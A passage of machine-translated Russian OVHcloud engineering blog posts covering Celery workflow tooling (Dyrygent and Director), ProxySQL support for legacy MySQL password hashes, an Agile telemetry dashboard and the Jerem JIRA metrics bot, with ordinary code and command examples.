@celery_app.task
def noop(*args, **kwargs):
    # Task accepts any arguments and does nothing
    print(args, kwargs)
    return True


Теперь мы можем выполнить задачу асинхронно, используя следующий код:

task = noop.s(777)
task.apply_async()


Элементарные задачи можно параметризовать и объединить в сложный рабочий процесс с использованием методов сельдерея, то есть «цепочки», «группы» и «хорды». См. Примеры ниже. В каждом из них левая сторона показывает визуальное представление рабочего процесса, а правая — фрагмент кода, который его генерирует. Зеленая рамка — это отправная точка, после которой выполнение рабочего процесса продвигается по вертикали.

Цепочка — набор задач, обрабатываемых последовательно



workflow = (
    chain([noop.s(i) for i in range(3)])
)


Группа — набор параллельно обрабатываемых задач.



workflow = (
    group([noop.s(i) for i in range(5)])
)


Аккорд — группа задач, связанных со следующей задачей



workflow = chord(
        [noop.s(i) for i in range(5)],
        noop.s(i)
)

# Equivalent:
workflow = chain([
        group([noop.s(i) for i in range(5)]),
        noop.s(i)
])


Важный момент: выполнение рабочего процесса всегда останавливается в случае сбоя задачи. В результате цепочка не будет продолжена, если какая-то задача не удастся в ее середине. Это дает нам довольно мощный фреймворк для реализации аккуратной автоматизации, и именно это мы используем для Ceph-as-a-Service в OVHcloud! Мы реализовали множество небольших, гибких, параметризуемых задач, которые мы объединяем для достижения общей цели. Вот несколько реальных примеров элементарных задач, используемых для автоматического удаления старого оборудования:

  • Изменить вес узла Ceph (используется для увеличения / уменьшения количества данных на узле. Запускает ребалансировку данных)
  • Установите время простоя службы (перебалансировка данных запускает зонды мониторинга, но это ожидается, поэтому установите время простоя для этой конкретной записи мониторинга)
  • Подождите, пока Ceph не станет здоровым (дождитесь завершения ребалансировки данных — повторяющаяся задача)
  • Удалите узел Ceph из кластера (узел пуст, поэтому его можно просто удалить)
  • Отправьте информацию техническим специалистам в DC (оборудование готово к замене)
  • Добавить новый узел Ceph в кластер (установить новый пустой узел)

Мы параметризируем эти задачи и связываем их вместе, используя цепочки, группы и аккорды сельдерея для создания желаемого рабочего процесса. Затем Celery сделает все остальное, асинхронно выполняя рабочий процесс.

Большие рабочие процессы и сельдерей

По мере роста нашей инфраструктуры растут и наши автоматизированные рабочие процессы, с увеличением количества задач на рабочий процесс, более высокой сложностью рабочих процессов… Что мы понимаем под большим рабочим процессом? Рабочий процесс, состоящий из 1000-10 000 задач. Чтобы визуализировать это, взгляните на следующие примеры:

Несколько аккордов, связанных вместе (всего 57 заданий)



workflow = chain([
    noop.s(0),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    noop.s()
])


Более сложная структура графа, построенная из цепочек и групп (всего 23 задачи)



# | is ‘chain’ operator in celery
workflow = (
    group(
        group(
            group([noop.s() for i in range(5)]),
            chain([noop.s() for i in range(5)])
        ) |
        noop.s() |
        group([noop.s() for i in range(5)]) |
        noop.s(),
        chain([noop.s() for i in range(5)])
    ) |
    noop.s()
)


Как вы, наверное, догадались, когда задействовано 1000 задач, визуализация становится довольно большой и беспорядочной! Celery — мощный инструмент, обладающий множеством функций, которые хорошо подходят для автоматизации, но он по-прежнему испытывает трудности, когда дело доходит до обработки больших, сложных и длительных рабочих процессов. Организовать выполнение 10 000 задач с различными зависимостями — нетривиальная вещь. Когда наша автоматизация стала слишком большой, мы столкнулись с несколькими проблемами:

  • Проблемы с памятью во время построения рабочего процесса (на стороне клиента)
  • Проблемы с сериализацией (клиент -> бэкэнд-передача сельдерея)
  • Недетерминированное, прерывистое выполнение рабочих процессов
  • Проблемы с памятью у рабочих Celery (серверная часть Celery)
  • Исчезающие задачи
  • И более…

Взгляните на GitHub:


Использование сельдерея для нашего конкретного случая стало трудным и ненадежным. Встроенная поддержка рабочих процессов в Celery не кажется правильным выбором для обработки 100/1000/10 000 задач. В нынешнем состоянии этого просто недостаточно. Итак, вот мы стоим перед прочной бетонной стеной… Либо мы как-то исправляем Celery, либо переписываем нашу автоматизацию, используя другую структуру.

Сельдерей — исправить… или исправить?

Переписать всю нашу автоматизацию можно, хотя и относительно болезненно. Поскольку я довольно ленив, возможно, попытка исправить Celery была не совсем плохой идеей? Так что я потратил некоторое время, чтобы покопаться в коде Celery, и мне удалось найти части, отвечающие за построение рабочих процессов и выполнение цепочек и аккордов. Мне все еще было немного сложно понять все различные пути кода, обрабатывающие широкий спектр вариантов использования, но я понял, что можно реализовать чистую, прямую оркестровку, которая будет обрабатывать все задачи и их комбинации в одном путь. Более того, я понял, что интегрировать его в нашу автоматизацию не потребует слишком больших усилий (давайте не будем забывать о главной цели!).

К сожалению, внедрение новой оркестровки в проект Celery, вероятно, будет довольно сложным и, скорее всего, нарушит некоторую обратную совместимость. Поэтому я решил использовать другой подход — написать расширение или плагин, которые не требовали бы изменений в Celery. Что-то подключаемое и максимально неинвазивное. Так появился Celery Dyrygent…

Сельдерей Dyrygent

github.com/ovh/celery-dyrygent

Как представить рабочий процесс

Вы можете представить себе рабочий процесс как направленный ациклический граф (DAG), где каждая задача является отдельным узлом графа. Когда дело доходит до ациклических графов, относительно легко хранить и разрешать зависимости между узлами, что приводит к простой оркестровке. Celery Dyrygent был реализован на основе этих функций. Каждая задача в рабочем процессе имеет уникальный идентификатор (Celery уже назначает идентификаторы задач, когда задача отправляется на выполнение), и каждая из них заключена в узел рабочего процесса. Каждый узел рабочего процесса состоит из сигнатуры задачи (простой сигнатуры сельдерея) и списка идентификаторов задач, от которых он зависит. См. Пример ниже:



Как обработать рабочий процесс

Итак, мы знаем, как сохранить рабочий процесс простым и понятным способом. Теперь нам просто нужно его выполнить. Как насчет… сельдерея? Почему бы нет? Для этого Celery Dyrygent вводит задачу процессора рабочего процесса (обычная задача Celery ). Эта задача охватывает весь рабочий процесс и планирует выполнение примитивных задач в соответствии с их зависимостями. После того, как часть планирования завершена, задача повторяется («тикает» с некоторой задержкой).

На протяжении всего цикла обработки процессор рабочих процессов сохраняет внутреннее состояние всего рабочего процесса. В результате он обновляет состояние при каждом повторении. Вы можете увидеть пример оркестровки ниже:







В частности, процессор рабочего процесса останавливает свое выполнение в двух случаях:

  • После завершения всего рабочего процесса и успешного выполнения всех задач
  • Когда он не может продолжить работу из-за сбоя задачи

Как интегрировать

Итак, как нам это использовать? К счастью, мне довольно легко удалось найти способ использовать Celery Dyrygent. Прежде всего, вам необходимо внедрить определение задачи процессора рабочего процесса в ваше приложение CeleryP:

from celery_dyrygent.tasks import register_workflow_processor
app = Celery() #  your celery application instance
workflow_processor = register_workflow_processor(app)


Затем вам нужно преобразовать рабочий процесс, определенный для Celery, в рабочий процесс Celery Dyrygent:

from celery_dyrygent.workflows import Workflow

celery_workflow = chain([
    noop.s(0),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    noop.s()
])

workflow = Workflow()
workflow.add_celery_canvas(celery_workflow)


Наконец, просто выполните рабочий процесс, как обычную задачу Celery:

workflow.apply_async()


Это оно! Вы всегда можете вернуться, если хотите, так как небольшие изменения очень легко отменить.

Попробуйте!

Celery Dyrygent можно использовать бесплатно, а его исходный код доступен на Github ( github.com/ovh/celery-dyrygent ). Не стесняйтесь использовать его, улучшать, запрашивать функции и сообщать о любых ошибках! У него есть несколько дополнительных функций, не описанных здесь, поэтому я рекомендую вам взглянуть на файл readme проекта. Для наших требований к автоматизации это уже надежное, проверенное на практике решение. Мы используем его с конца 2018 года, и он обработал тысячи рабочих процессов, состоящих из сотен тысяч задач. Вот некоторая статистика производства за период с июня 2019 года по февраль 2020 года:

  • Выполнено 936 248 элементарных задач
  • Обработано 11 170 рабочих процессов
  • 4098 задач в самом большом рабочем процессе
  • ~ 84 задачи на рабочий процесс, в среднем

Автоматизация — это всегда хорошая идея!

Один день из жизни ProxySQL в OVHcloud

Как подробно объяснялось в предыдущем посте, миграция P19 означала, что нам нужно было добавить новый элемент в нашу инфраструктуру… а именно ProxySQL.



Поначалу жизнь была для него непростой, но вскоре он научился обрабатывать широкий спектр конфигураций ваших веб-сайтов, особенно когда дело доходит до того, чтобы путь подключения к вашим данным всегда был свободным.

Подключение баз данных 101

Вернемся к тому, как пользователь подключается к своей базе данных MySQL / MariaDB без ProxySQL…

Пользователь использует клиент MySQL и предоставляет хост / IP, имя пользователя и пароль.



С этой точки зрения все кажется довольно простым. Но в реальной жизни все не так просто…

Во-первых, за эти годы MySQL эволюционировал, чтобы исправить различные проблемы с безопасностью, такие как удаление старого алгоритма аутентификации. Наша инфраструктура пытается не отставать от всех этих изменений, но при переходе со старых версий на новейшую версию всегда есть задержка, особенно потому, что некоторые из этих изменений могут повлиять на ваш веб-сайт.

Однако нам повезло, так как клиенты и серверы MySQL имеют хороший уровень обратной совместимости.

Так что же тогда?



Теперь мы ближе к реальности.

А теперь давайте добавим к этой картинке нашего маленького друга ProxySQL!

Первые часы жизни ProxySQL в OVHcloud

ProxySQL — очень хорошая и полезная программа. Его основная задача — установить соединение с вашей базой данных от вашего имени. Таким образом, устанавливается соединение, ProxySQL просматривает базу данных в своей конфигурации, проверяет учетные данные, предоставленные пользователем, и, если они действительно действительны, действует как клиент MySQL для подключения к фактическому серверу MySQL.



С этой точки зрения все кажется довольно простым. Но в реальной жизни все не так просто… Погодите, я уже это говорил?

Добавим в эту картину наше полное разнообразие, просто для удовольствия! Помните наши версии MySQL? Были упомянуты две конкретные версии…

MySQL5.6

Это последняя версия на OVHcloud. Что интересно в этой конкретной версии, так это то, что механизм аутентификации является последним и лучшим из MySQL. Он генерирует 41-байтовый хэш, изменение, которое было введено в MySQL 4.1.

Фактическая версия, которая была у нас в P19, была MySQL5.5, но эти две версии очень похожи с практической точки зрения.

MySQL5.1

Довольно старый материал, но у нас все еще есть экземпляры, которые его используют.

Некоторые клиенты, использующие эту версию, перешли с MySQL4.0 и сохранили пароли, сгенерированные этой версией. Для простоты мы будем называть их « MySQL5.1 со старыми паролями ». В этой версии используется 16-байтовый хэш, который является слабым и подверженным перехватам.

Так что же тогда?



Вот и мы! Путь нашего ProxySQL проходит не так гладко, поскольку он не может аутентифицироваться в MySQL 4.0. В этом есть смысл, поскольку он был написан спустя много времени после того, как была прекращена поддержка MySQL 4.0.

Тем не менее, нам нужно было найти решение, которое учитывало бы устаревшую аутентификацию и предотвращало сбои для веб-сайтов, использующих эти соединения.

Под капотом: история подключения к MySQL

Как мы подчеркнули ранее, для подключения к серверу MySQL необходимо предоставить три параметра:

  • Хозяин (скажем, 
    mysqlXXX.sqlXXX
    )
  • Пользователь
  • Пароль

Интересная часть здесь — это пароль, так как он изменился между двумя версиями.

Очевидно, что MySQL не хранит ваш пароль в виде обычного текста, а вместо этого хранит хэш. Чтобы позволить ProxySQL подключиться, хеш вставляется в его внутреннюю базу данных, после чего подключение становится возможным.

Существуют три типа паролей:

  • Простой текст
  • mysql_native_password
     (41-байтовый хеш)
  • old_password
     (16-байтовый хеш)

ProxySQL поддерживает только первые два… и поэтому не может подключиться к вашей замечательной, но устаревшей базе данных.

Каковы наши пути решения?

Самым простым решением было бы, как вы понимаете, обновить пароли для использования нового алгоритма.

Однако мы не храним ваши пароли!

В некоторых случаях нам удавалось вычислить это, но с учетом значительного числа клиентов, столкнувшихся с этой проблемой (более 50 000… помните 1% из более чем одного миллиона?), Это было невозможно.

Первым шагом было научить наш ProxySQL обрабатывать соединение от клиента. Спустя несколько патчей наш ProxySQL гордился своей новой функцией и мог выполнять эту задачу.

Представим это на картинке:



Но мы определенно не хотели хранить эти старые пароли навсегда… поэтому нам пришлось вести себя гадко.

Помните, что единственная информация, которая у нас была, — это устаревший хешированный пароль, который был единственным источником информации, который мы могли передать ProxySQL. Чтобы упростить ситуацию, вот ситуация, в которой мы находимся:



Нам нужно было дать нашему клиенту ProxySQL пароль, но мы не смогли добавить старый пароль (да и не хотели!).

В конце концов, решение заключалось в том, чтобы взять старый хэш пароля и сделать из него новый. Таким образом, у нас будет новый пароль в правильном формате!



Поскольку клиент ProxySQL и сервер MySQL скрыты от пользователя, все было нормально, но мы не могли этого сделать на сервере ProxySQL (вы же хотите сохранить тот же пароль, верно?).

К счастью для нас, у нас было поле пароля в виде обычного текста, которое осталось неиспользованным, поэтому мы могли использовать его для хранения вашего OLD_HASH и завершения цепочки аутентификации.



Мы сделали это! Наконец-то вы можете получить доступ к своей базе данных!

Давайте проясним здесь… Это все очень временно, и, как было сказано в предыдущей статье, мы не хотим поддерживать разветвленную версию ProxySQL, в которой мы не можем обновлять исходный код, поскольку все это очень устаревшее и конкретный.

Вывод

Трудно поддерживать широкий спектр программного обеспечения с несовместимыми версиями!

Чтобы убедиться, что миграция оказала минимальное влияние, нам пришлось исправить множество мелких деталей. В конкретном случае, подробно описанном в этой статье, у нас были проблемы со старыми паролями MySQL, и, учитывая временную шкалу, мы не могли попросить пользователей MySQL5.1 изменить свои пароли. Но после небольшого взлома мы смогли начать миграцию… даже для устаревшей аутентификации!

Опять же, это была лишь одна из проблем, с которыми мы столкнулись при настройке ProxySQL и адаптации его к нашим очень специфическим требованиям. Помните, что работа с устаревшим программным обеспечением — сложная и ответственная задача, но ее невозможно избежать! Это то, что мы сделали с переходом на P19, и что мы будем продолжать делать, чтобы постоянно улучшать предлагаемые вам услуги.

Гибкая телеметрия в OVHCloud - Часть II

В предыдущем посте мы изложили причины, которые побудили нас создать инструмент Agile-мониторинга. Чтобы извлечь выгоду из этого коллективного успеха, нам нужно было:

  • Установите эффективную, простую и общепринятую методологию поддержки команд разработчиков.
  • Изложите различные видения, необходимые для правильного выполнения проекта.
  • Определите микровидение для команд разработчиков.
  • Определите макро-видение для спонсоров.
  • Индустриализируйте эту инновационную концепцию для других команд в OVHcloud.



Как и в каждой новой задаче, в ней был элемент сложности. OVHcloud — международная компания, и наши команды распределены по всему миру. Поэтому инструмент должен был быть легко читаемым и простым в обслуживании, а показатели должны обновляться автоматически, поскольку наши команды работают в меняющемся контексте, где часто происходят незапланированные события.

Нам нужно было создать инструмент, который позволил бы нам удаленно измерять производительность и прогресс команд в режиме реального времени и обновлять информацию, необходимую для управления проектом. Это наша телеметрия.

«Прежде чем привлекать команду разработчиков, составьте план строительства… нарисуйте!» Помня об этом, я начал набрасывать несколько набросков на блокноте, а затем на программном обеспечении.

Первый каркас гибкой телеметрии

Этот первый набросок выдвинул на первый план то, что я хотел показать своим командам. Мы могли отслеживать наши успехи по каждой теме, над которой работали (эпосы, о которых мы говорили в части I). Мы смогли увидеть, достижима ли дорожная карта, исходя из ритма работы команды, и измерить производительность команды. Наконец, у нас появился инструмент, который согласовывал микро- и макро-видение.

Но как заставить эту доску ожить?

В OVHcloud мы используем инструмент для продажи билетов: JIRA. Этот инструмент помогает нам в повседневной организации проектов. Однако он не показывает нужную нам информацию. Тем не менее, мы можем заставить его говорить…



Основываясь на этой концепции, мы и наши команды создали таблицу показателей с помощью инструмента GRAFANA.

Это наша гибкая телеметрия



В этом втором посте блога мы сосредоточимся на макро видении. В следующем посте мы рассмотрим микровидение.

Макровидение



1- й блок данных: Квартальные КПЭ



  • (А) Предсказуемость. Сможете ли вы выполнить все проекты / запросы? С помощью этого индикатора высшее руководство и команды разработчиков могут отслеживать свои возможности в отношении сроков. Мы можем отслеживать эти данные по следующей формуле:



  • (B) Прогресс на четверть . Показывает завершенные части квартала.
  • © Скорость команды. Количество сюжетных пунктов, завершенных за день. Обладая этой информацией, мы можем строить наши будущие спринты и поддерживать ритм команды.
  • (D) Среднее препятствие . Эта информация важна для построения следующего спринта и оценки коэффициента безопасности.

Пример

Предположим, у нас есть команда из семи человек с производительностью 350 часов на спринт (7 человек x 5 часов в день x 10 дней). Если наша команда зафиксировала 58 часов в качестве препятствий во время спринта, мы могли бы использовать эту информацию, чтобы настроить коэффициент безопасности для следующего спринта.



В среднем команда тратит 17% своего времени на устранение препятствий во время спринта. Имея эту информацию, мы можем рассчитать коэффициент безопасности.

2-й блок данных: «Sum of Roadmap Epics»



В этой таблице собраны ожидаемые эпопеи. Он показывает количество очков истории, оцененных командами, количество очков, которые они уже выполнили, количество задач, «не оцененных», и скорость прогресса. С помощью этой таблицы мы можем дать цифры, относящиеся к прогрессу.

3-й блок данных: Завершение



  1. Эпическое завершение ( 1 ): в течение каждой недели мы можем наблюдать за развитием дорожной карты. Иногда мы видим, что дорожная карта завершения сокращается. Это нормально, потому что мы добавили в план сюжетную линию. ( 4 )
  2. Количество препятствий (2): это количество раз, когда команды выходили из спринта из-за препятствий.
  3. Длительность препятствий (3): общее время, потраченное на препятствия.
  4. Запланированная дельта-точка истории (4): количество точек, входящих или выходящих из дорожной карты, что позволяет нам видеть любые вариации на графиках.

4- й блок данных: Нарисуйте график!



  • А. Этот рисунок представляет собой график выполнения дорожной карты. Он создан по сумме завершенных эпосов.
  • Б. Наша дорожная карта выгорания.

На этом графике представлены две кривые:

  • a  — Кривая элементов, количественно определенная и оцененная командами.
  • b  — это предел, рассчитанный с использованием скорости команды по количеству дней в квартале. Затем мы добавляем коэффициент безопасности команды.





  • c — Кривая задач, выполненных командами.

Вывод

Эта панель инструментов объединяет всю информацию, которую нам удалось собрать воедино благодаря потрясающему вкладу команд. Веруя в ценности и доверяя методу, группа уже достигла зрелости, которой они достигли сами.

Для нашего высшего руководства эта доска показывает всю необходимую им ключевую информацию. Когда прогнозируемость обозначена зеленым цветом, все в порядке. Когда что-то не так, они могут принять правильное решение, будь то изменение приоритетов в дорожной карте или найм новых людей, чтобы помочь командам успешно ее завершить (например).

В следующем посте я подробно расскажу о микровидении. А пока сохраняйте Agile!

Представляющий директор - инструмент для построения рабочих процессов Celery

Нам как разработчикам часто приходится выполнять задачи в фоновом режиме. К счастью, для этого уже существуют некоторые инструменты. Например, в экосистеме Python самая известная библиотека — это Celery. Если вы уже использовали это, вы знаете, насколько это здорово! Но вы также, вероятно, обнаружите, насколько сложно может быть отслеживание состояния сложного рабочего процесса.



Celery Director — это инструмент, который мы создали в OVHcloud для решения этой проблемы. Код теперь имеет открытый исходный код и доступен на Github.



После нашего выступления во время FOSDEM 2020, этот пост направлен на представление инструмента. Мы подробно рассмотрим, что такое Celery, почему мы создали Director и как его использовать.

Что такое «сельдерей»?

Вот официальное описание сельдерея:

Celery — это асинхронная очередь задач / очередь заданий, основанная на распределенной передаче сообщений. Он ориентирован на работу в реальном времени, но также поддерживает планирование.

Важные слова здесь — «очередь задач». Это механизм, используемый для распределения работы по пулу машин или потоков.



Очередь в середине приведенной выше диаграммы хранит сообщения, отправленные производителями (например, API). С другой стороны, потребители постоянно читают очередь, чтобы отображать новые сообщения и выполнять задачи.

В Celery сообщение, отправленное производителем, является подписью функции Python: send_email(«john.doe»)например.

Очередь (именуемая посредником в Celery) хранит эту подпись до тех пор, пока рабочий не прочитает ее и не выполнит функцию в пределах данного параметра.

Но зачем выполнять функцию Python где-то еще? Основная причина — быстрое возвращение ответа в случаях, когда функции долго выполняются. В самом деле, это не вариант заставлять пользователей ждать ответа несколько секунд или минут.

Точно так же, как мы можем представить производителей без достаточного количества ресурсов, с задачей, связанной с процессором, более надежный работник мог бы справиться с ее выполнением.

Как использовать «сельдерей»

Итак, Celery — это библиотека, используемая для выполнения кода Python где-то еще, но как она это делает? На самом деле это действительно просто! Чтобы проиллюстрировать это, мы будем использовать некоторые из доступных методов для отправки задач брокеру, а затем запустим воркер для их использования.

Вот код для создания задачи Celery:

# tasks.py
from celery import Celery

app = Celery("tasks", broker="redis://127.0.0.1:6379/0")

@app.task
def add(x, y):
    return x + y


Как видите, задача Celery — это просто функция Python, преобразованная для отправки в брокер. Обратите внимание, что мы передали соединение redis приложению Celery (названному app), чтобы сообщить брокеру, где хранить сообщения.

Это означает, что теперь можно отправить задачу в брокере:

>>> from tasks import add
>>> add.delay(2, 3)


Вот и все! Мы использовали этот .delay()метод, поэтому наш производитель не выполнял код Python, а вместо этого отправлял подпись задачи брокеру.

Теперь пора употребить его вместе с сельдереем:

$ celery worker -A tasks --loglevel=INFO
[...]
[2020-02-14 17:13:38,947: INFO/MainProcess] Received task: tasks.add[0e9b6ff2-7aec-46c3-b810-b62a32188000]
[2020-02-14 17:13:38,954: INFO/ForkPoolWorker-2] Task tasks.add[0e9b6ff2-7aec-46c3-b810-b62a32188000] succeeded in 0.0024250600254163146s: 5


Можно даже комбинировать задачи Celery с некоторыми примитивами (полный список здесь ):

  • Цепочка: будет выполнять задачи одну за другой.
  • Группа: будет выполнять задачи параллельно, направляя их нескольким рабочим.

Например, следующий код сделает два добавления параллельно, а затем суммирует результаты:

from celery import chain, group

# Create the canvas
canvas = chain(
    group(
        add.si(1, 2),
        add.si(3, 4)
    ),
    sum_numbers.s()
)

# Execute it
canvas.delay()


Вы, наверное, заметили, что мы не использовали здесь метод .delay () . Вместо этого мы создали холст , используемый для объединения набора задач.

.si()
Метод используется для создания неизменяемой подписи (т. Е. Такой , которая не получает данные от предыдущей задачи), в то время как 
.s()
полагается на данные, возвращенные двумя предыдущими задачами.

В этом введении в Celery мы только что рассмотрели его базовое использование. Если вы хотите узнать больше, я приглашаю вас прочитать документацию, где вы обнаружите все мощные функции, включая ограничения скорости , повторные попытки выполнения задач или даже периодические задачи .

Как разработчик я хочу…

Я часть команды, целью которой является развертывание и мониторинг внутренней инфраструктуры. В рамках этого нам нужно было запустить некоторые фоновые задачи, и, как разработчики Python, мы естественным образом выбрали Celery. Но из коробки Celery не поддерживал определенные требования для наших проектов:

  • Отслеживание развития задач и их зависимостей в WebUI.
  • Выполнение рабочих процессов с помощью вызовов API или просто с помощью интерфейса командной строки.
  • Объединение задач для создания рабочих процессов в формате YAML.
  • Периодическое выполнение всего рабочего процесса.

Для этого существуют другие классные инструменты, например Flower, но они позволяют нам отслеживать только каждую задачу по отдельности, а не весь рабочий процесс и его составные задачи.

И поскольку нам действительно были нужны эти функции, мы решили создать Celery Director.



Как использовать Директор

Установку можно произвести с помощью pip-команды:

$ pip install celery-director


Директор предоставляет простую команду для создания новой папки рабочего пространства:

$ director init workflows
[*] Project created in /home/ncrocfer/workflows
[*] Do not forget to initialize the database
You can now export the DIRECTOR_HOME environment variable


Ниже для вас создана новая папка задач и пример рабочего процесса:

$ tree -a workflows/
├── .env
├── tasks
│   └── etl.py
└── workflows.yml


В tasks/*.pyфайлы будут содержать ваши задачи Сельдерей, в то время как workflows.ymlфайл будет объединить их:

$ cat workflows.yml
---
ovh.SIMPLE_ETL:
  tasks:
    - EXTRACT
    - TRANSFORM
    - LOAD


В этом примере с именем ovh.SIMPLE_ETL будут выполняться три задачи, одна за другой. Вы можете найти больше примеров в документации.

После экспорта DIRECTOR_HOMEпеременной и инициализации базы данных с помощью director db upgradeвы можете выполнить следующий рабочий процесс:

$ director workflow list
+----------------+----------+-----------+
| Workflows (1)  | Periodic | Tasks     |
+----------------+----------+-----------+
| ovh.SIMPLE_ETL |    --    | EXTRACT   |
|                |          | TRANSFORM |
|                |          | LOAD      |
+----------------+----------+-----------+
$ director workflow run ovh.SIMPLE_ETL


Брокер получил задачи, поэтому теперь вы можете запустить Celery worker для их выполнения:

$ director celery worker --loglevel=INFO


А затем отобразите результаты с помощью команды веб-сервера ( director webserver):



Это только начало, поскольку Director предоставляет другие функции, позволяющие, например, параметризовать рабочий процесс или периодически его выполнять. Более подробную информацию об этих функциях вы найдете в документации.

Вывод

Наши команды регулярно используют Director для запуска наших рабочих процессов. Больше нет шаблонов и нет необходимости в продвинутых знаниях Celery… Новый коллега может легко создавать свои задачи на Python и комбинировать их в YAML, не используя примитивы Celery, описанные ранее.

Иногда нам нужно периодически выполнять рабочий процесс (например, для заполнения кеша), а иногда нам нужно вручную вызывать его из другой веб-службы (обратите внимание, что рабочий процесс также может быть выполнен через вызов API ). Теперь это возможно с помощью нашего единственного экземпляра Director.

Мы приглашаем вас попробовать Director на себе и оставить свой отзыв через Github, чтобы мы могли продолжать его улучшать. Исходный код можно найти на Github, а презентация FOSDEM 2020 доступна здесь.

Jerem: Agile-бот

В OVHCloud мы открываем исходный код для нашего проекта «Agility Telemetry». Джерем , как наш сборщик данных, является основным компонентом этого проекта. Джерем регулярно очищает нашу JIRA и извлекает определенные показатели для каждого проекта. Затем он пересылает их в наше приложение для длительного хранения, платформу данных метрик OVHCloud .



Концепции Agility с точки зрения разработчика

Чтобы помочь вам понять наши цели для Jerem , нам нужно объяснить некоторые концепции Agility, которые мы будем использовать. Во-первых, мы составим техническую ежеквартальную дорожную карту для продукта, в которой изложены все функции, которые мы планируем выпускать каждые три месяца. Это то, что мы называем эпосом .

ЧДля каждой эпопеи мы определяем задачи, которые необходимо будет выполнить. Для всех этих задач мы затем оцениваем сложность задач с помощью очков истории во время сеанса подготовки команды. Сюжетная точка отражает усилия, необходимые для выполнения конкретной задачи JIRA.

Затем, чтобы продвинуть нашу дорожную карту, мы будем проводить регулярные спринты, которые соответствуют периоду в десять дней , в течение которого команда выполнит несколько задач. Количество очков истории, набранных в спринте, должно соответствовать или быть близким к скорости команды . Другими словами, среднее количество очков истории, которое команда может набрать за день.

Однако во время спринтов могут неожиданно возникнуть другие срочные задачи. Это то, что мы называем препятствием . Например, нам может потребоваться помощь клиентам, исправление ошибок или срочные инфраструктурные задачи.   

Как работает Джерем

В OVH мы используем JIRA для отслеживания нашей активности. Наш Jerem бот обрывки наших проектов из JIRA и экспорта всех необходимых данных для нашей OVHCloud Метрики платформы данных . Джерем также может передавать данные в любую базу данных, совместимую с Warp 10. В Grafana вы просто запрашиваете платформу Metrics (используя источник данных Warp10 ), например, с помощью нашей панели управления программами . Все ваши KPI теперь доступны на красивой панели инструментов!



Откройте для себя показатели Jerem

Теперь, когда у нас есть обзор основных задействованных концепций Agility, давайте погрузимся в Джерема! Как преобразовать эти концепции гибкости в показатели? Прежде всего, мы извлечем все показатели, относящиеся к эпикам (т.е. новым функциям). Затем мы подробно рассмотрим метрики спринта.

Эпические данные

Чтобы объяснить эпические метрики Джерема, мы начнем с создания новой. В этом примере мы назвали это Agile Telemetry. Мы добавляем лейбл Q2-20, что означает, что мы планируем выпустить его во втором квартале. Чтобы записать эпопею с Джеремом, вам нужно установить четверть для окончательной доставки! Затем мы просто добавим четыре задачи, как показано ниже:



Чтобы получить метрики, нам нужно оценить каждую отдельную задачу. Мы сделаем это вместе на подготовительных сессиях. В этом примере у нас есть собственные очки истории для каждой задачи. Например, мы оценили write a BlogPost about Jeremзадачу на 3.



В результате у Джерема теперь есть все необходимое, чтобы начать сбор эпических показателей. В этом примере представлены пять показателей:

  • jerem.jira.epic.storypoint
    : общее количество очков истории, необходимых для завершения этой эпопеи. Значение здесь 14 (сумма всех очков эпической истории). Этот показатель будет развиваться каждый раз, когда эпик обновляется путем добавления или удаления задач. 
  • jerem.jira.epic.storypoint.done
    : количество выполненных задач. В нашем примере мы уже выполнили 
    Write Jerem bot
    и 
    Deploy Jerem Bot
    , поэтому мы уже выполнили восемь пунктов истории.
  • jerem.jira.epic.storypoint.inprogress
    : количество «выполняемых» задач, например 
    Write a BlogPost about Jerem
    .
  • jerem.jira.epic.unestimated
    : количество неоцененных задач, как 
    Unestimated Task
    в нашем примере.
  • jerem.jira.epic.dependency
    : количество задач, у которых есть метки зависимостей, указывающие, что они являются обязательными для других эпиков или проектов.



Таким образом, для каждого эпика в проекте Джерем собирает пять уникальных показателей.

Данные спринта

Для выполнения грандиозных задач мы работаем по спринту . Выполняя спринты, мы хотим подробно рассказать о наших достижениях . Вот почему Джерем тоже собирает данные о спринтах!

Итак, давайте откроем новый спринт в JIRA и начнем работать над нашей задачей. Это дает нам следующее представление JIRA:



Джерем собирает следующие показатели для каждого спринта:

  • erem.jira.sprint.storypoint.total
    : общее количество очков истории, набранных в спринт.
  • jerem.jira.sprint.storypoint.inprogress
    : сюжетные точки, которые в настоящее время выполняются в рамках спринта.
  • jerem.jira.sprint.storypoint.done
    : количество очков истории, набранных на данный момент за спринт.
  • jerem.jira.sprint.events
    : даты начала и окончания спринта, записанные как строковые значения Warp10.



Как вы можете видеть в представлении «Показатели» выше, мы будем записывать каждую метрику спринта дважды. Мы делаем это, чтобы быстро просмотреть активный спринт, поэтому мы используем метку «текущий». Это также позволяет нам запрашивать прошлые спринты, используя настоящее имя спринта. Конечно, активный спринт также можно запросить по его имени.

Данные о препятствиях

Запуск спринта означает, что вам нужно знать все задачи, над которыми вам придется работать в течение следующих нескольких дней. Но как мы можем отслеживать и измерять незапланированные задачи? Например, очень срочное для вашего менеджера или товарища по команде, которому нужна небольшая помощь?

Мы можем добавить в JIRA специальные билеты, чтобы отслеживать выполнение этой задачи. Это то, что мы называем «препятствием». Они маркируются в соответствии с их природой. Если, например, постановка требует вашего внимания, то это препятствие «Инфра». Вы также получите метрики для «Всего» (все виды препятствий), «Избыточности» (незапланированные задачи), «Поддержка» (помощь товарищам по команде) и «Исправление ошибок или другое» (для всех других видов препятствий).

Каждое препятствие принадлежит активному спринту, в котором оно было закрыто. Чтобы закрыть препятствие, вам нужно только пометить его как «Готово» или «Закрыто».

Мы также получаем такие показатели, как:

  • jerem.jira.impediment.TYPE.count
    : количество препятствий, возникших во время спринта.
  • jerem.jira.impediment.TYPE.timespent
    : количество времени, затраченного на устранение препятствий во время спринта.

TYPE соответствует виду зафиксированного препятствия. Поскольку мы не обнаружили никаких реальных препятствий, Джерем собирает только totalметрики.



Чтобы начать запись препятствий, мы просто создаем новую задачу JIRA, в которую добавляем метку «препятствие». Мы также устанавливаем его характер и фактическое время, потраченное на это.



В качестве препятствия мы также извлекаем глобальные метрики, которые всегда записывает Джерем:

